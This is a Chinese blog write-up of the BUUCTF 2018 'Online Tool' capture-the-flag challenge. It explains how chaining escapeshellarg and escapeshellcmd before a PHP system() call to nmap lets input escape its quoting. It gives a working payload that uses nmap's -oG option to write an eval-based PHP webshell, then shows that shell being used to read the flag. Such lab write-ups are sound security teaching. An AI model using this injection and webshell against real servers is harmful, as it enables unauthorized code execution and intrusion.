




BUUCTF 2018 Online Tool

原创

恋物语战场原  于 2019-09-10 20:48:33 发布  12013  收藏 26

分类专栏: [CTF](#) 文章标签: [buuctf ctf](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_26406447/article/details/100711933

版权



[CTF 专栏收录该内容](#)

16 篇文章 7 订阅

订阅专栏

BUUCTF 2018 Online Tool

前言

继续刷题, 学习, 为了成为黑岛的一名工具人而努力!

感谢大佬提供的环境: https://github.com/glzjin/buuctf_2018_online_tool

过程

搭好环境, 打开网页, 出现一堆代码

```
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
```

https://blog.csdn.net/qq_26406447

OK, 首先代码审计...又是php, 头大...

remote_addr和x_forwarded_for这两个是见的比较多的, 服务器获取ip用的, 这里没什么用

escapeshellarg()和escapeshellcmd() 没见过, 百度

[PHP escapeshellarg\(\)+escapeshellcmd\(\) 之殇](#)

直接找到了上面这篇文章, 这两个函数在一起用会有些问题

1. 传入的参数是: `172.17.0.2' -v -d a=1`
2. 经过 `escapeshellarg` 处理后变成了 `'172.17.0.2\'\' -v -d a=1'`, 即先对单引号转义, 再用单引号将左右两部分括起来从而起到连接的作用。
3. 经过 `escapeshellcmd` 处理后变成 `'172.17.0.2\'\' -v -d a=1\'`, 这是因为 `escapeshellcmd` 对 `\` 以及最后那个不配对的引号进行了转义: <http://php.net/manual/zh/function.escapeshellcmd.php>
4. 最后执行的命令是 `curl '172.17.0.2\'\' -v -d a=1\'`, 由于中间的 `\\` 被解释为 `\` 而不再是转义字符, 所以后面的 `'` 没有被转义, 与再后面的 `'` 配对儿成了一个空白连接符。所以可以简化为 `curl 172.17.0.2\ -v -d a=1'`, 即向 `172.17.0.2\` 发起请求, POST 数据为 `a=1'`。

简单的来说就是两次转译后出现了问题, 没有考虑到单引号的问题

然后往下看, 看到 `echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);`

这有个 `system` 来执行命令, 而且有传参, 肯定是利用这里了

这里代码的本意是希望我们输入 `ip` 这样的参数做一个扫描, 通过上面的两个函数来进行规则过滤转译, 我们的输入会被单引号引起来, 但是因为我们看到了上面的漏洞所以我们可以逃脱这个引号的束缚

这里常见的命令后注入操作如 `|&&` 都不行, 虽然我们通过上面的操作逃过了单引号, 但 `escapeshellcmd` 会对这些特殊符号前面加上 `\` 来转移...

这时候就只有想想能不能利用 `nmap` 来做些什么了。

这时候搜索可以发现 `nmap` 命令中 有一个参数 `-oG` 可以实现将命令和结果写到文件

这个命令就是我们的输入可控! 然后写入到文件! OK很自然的想到了上传一个一句话木马了...

```
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
```

执行后会返回文件夹名

```
you are in sandbox 5ef773126828f0841c0b0acd81fd1d11Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-10 12:10 UTC Nmap done: 0 IP addresses (0 hosts up) scanned in 0.25 seconds
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.25 seconds
```

然后蚁剑连接, 找到 `flag`

名称	日期	大小	属性
bin	2019-01-31 01:32:00	4 Kb	0755
dev	2019-09-10 02:57:04	340 b	0755
etc	2019-09-10 02:57:04	4 Kb	0755
home	2019-01-31 00:20:38	4 Kb	0755
lib	2019-01-31 01:32:00	4 Kb	0755
media	2019-01-30 02:55:44	4 Kb	0755
mnt	2019-01-30 02:55:44	4 Kb	0755
proc	2019-09-10 02:57:04	0 b	0555
root	2019-01-31 01:32:01	4 Kb	0700
run	2019-02-15 15:42:27	4 Kb	0755
sbin	2019-01-30 02:55:44	4 Kb	0755
srv	2019-01-30 02:55:44	4 Kb	0755
sys	2019-09-10 02:57:04	0 b	0555
tmp	2019-02-15 15:42:27	4 Kb	1777
usr	2019-01-31 01:32:00	4 Kb	0755
var	2019-01-31 01:32:04	4 Kb	0755
.dockerenv	2019-09-10 02:57:04	0 b	0755
flag	2019-09-10 02:57:05	33 b	0644

没错flag大家能猜的到，大佬想要女朋友

编辑: /flag

```

1 flag{glzjin_wants_a_girl_firend}
2

```

payload那里错了几次，一些细节的错误会导致没法访问到的

名称	日期	大小	属性
hack.php	2019-09-10 12:10:56	235 b	0644
hack.php'	2019-09-10 11:38:38	653 b	0644
hack.php\\	2019-09-10 11:56:11	459 b	0644

首先是后面没有加引号

```
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php
```

我们可以在线测试一下

```
<?php
$host = "' <?php phpinfo();?> -oG test.php";
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
echo $host;
?>
```

https://blog.csdn.net/qq_26406447

```
'\'' \<?php phpinfo\(\)\;\?> -oG test.php\'
```

返回结果是上面那样文件名后面会多一个引号

然后是加引号但引号前没有空格

```
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php'
```

```
1 <?php
2 $host = "' <?php phpinfo();?> -oG test.php'";
3 $host = escapeshellarg($host);
4 $host = escapeshellcmd($host);
5 echo $host;
6 ?>
```

https://blog.csdn.net/qq_26406447

运行结果如下

```
'\'' \<?php phpinfo\(\)\;\?> -oG test.php'\''
```

文件名后面就会多出\\

所以要注意细节

总结

这道题主要就是考查一个escapeshellarg()和escapeshellcmd()这个点

外加一个nmap的文件写入。

感觉命令行注入这个也遇到的不是很多（菜鸡的言论），所以还是多练习吧

参考

1. [CISCN2019 华北赛区 Day1 Web1 Dropbox](#)
2. [BUUOJ 刷题 - Web-Online-Tool](#)
3. [PHP escapeshellarg\(\)+escapeshellcmd\(\) 之殇](#)